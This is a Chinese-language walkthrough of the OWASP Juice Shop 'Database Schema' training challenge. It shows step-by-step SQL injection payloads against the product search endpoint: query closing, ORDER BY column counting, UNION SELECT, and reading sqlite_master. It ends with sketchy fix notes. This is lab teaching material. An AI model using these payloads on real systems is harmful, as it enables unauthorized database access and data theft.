# 【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构


# 【juice-shop】★★★ Database Schema：通过 SQL 注入获取数据库结构

## 0x01 任务简报

通过 SQL 注入获取整个数据库结构。

---

## 0x02 实战：复现漏洞

### 🔍 第一步：发现 SQL 注入点

这个实际上没有一点思路，一开始我认为可能是搜索框那里有注入点，但是回显正常……

看了一下攻略，原来在进行搜索的时候，调用了一个请`/rest/products/search?q=`，这里有SQL回显……

个人认为，SQL注入，只要有回显（或者盲注反应），那就不是很麻烦

![搜索 API 请求](../../../../../../public/p/juice-shop-database-schema通过-sql-注入获取数据库结构/assets/Pastedimage20260408144957.png)

### 💉 第二步：测试注释和闭合

尝试基础的 SQL 注入语法，闭合原有查询并注释后续语句：

```sql
1'))--
```

![](../../../../../../public/p/juice-shop-database-schema通过-sql-注入获取数据库结构/assets/Pastedimage20260408144957.png)

![响应结果](../../../../../../public/p/juice-shop-database-schema通过-sql-注入获取数据库结构/assets/Pastedimage20260408145458.png)

### 📊 第三步：确定列数

使用 `ORDER BY` 逐步增加列数，找出查询的确切列数：

```sql
1'))order+by+9--
```

![ORDER BY 测试](../../../../../../public/p/juice-shop-database-schema通过-sql-注入获取数据库结构/assets/Pastedimage20260408145621.png)

![](../../../../../../public/p/juice-shop-database-schema通过-sql-注入获取数据库结构/assets/Pastedimage20260408145458.png)

确认查询包含 **9 列**。

### 🎯 第四步：UNION SELECT 回显位置

构造 UNION SELECT 语句，确定各列在响应中的回显位置：

```sql
1'))union+select+1,2,3,4,5,6,7,8,9--
```

![UNION SELECT 测试](../../../../../../public/p/juice-shop-database-schema通过-sql-注入获取数据库结构/assets/Pastedimage20260408145221.png)

![回显结果](../../../../../../public/p/juice-shop-database-schema通过-sql-注入获取数据库结构/assets/Pastedimage20260408145537.png)

### 🗄️ 第五步：识别数据库类型并查询结构

根据回显，确认使用的是 **SQLite** 数据库。SQLite 将所有表定义存储在 `sqlite_master` 系统表中。

构造查询语句，从 `sqlite_master` 表中提取所有 SQL 定义：

```sql
1'))union+select+1,2,3,4,5,6,7,8,sql+from+sqlite_master--
```

![SQLite 查询](../../../../../../public/p/juice-shop-database-schema通过-sql-注入获取数据库结构/assets/Pastedimage20260408145405.png)

![数据库结构获取](../../../../../../public/p/juice-shop-database-schema通过-sql-注入获取数据库结构/assets/Pastedimage20260408145705.png)

### ✅ 第六步：完成挑战

成功获取整个数据库的 schema 定义，挑战完成。

---

## 🔧 修复建议

### 找到它

第 5 行，关于 SQL 注入的直接找是不是 SQL 拼接了语句，审计一下就行

### 修复它

Fix1

Fix2和Fix3修了个寂寞……

---

## 参考

- https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_exfiltrate_the_entire_db_schema_definition_via_sql_injection

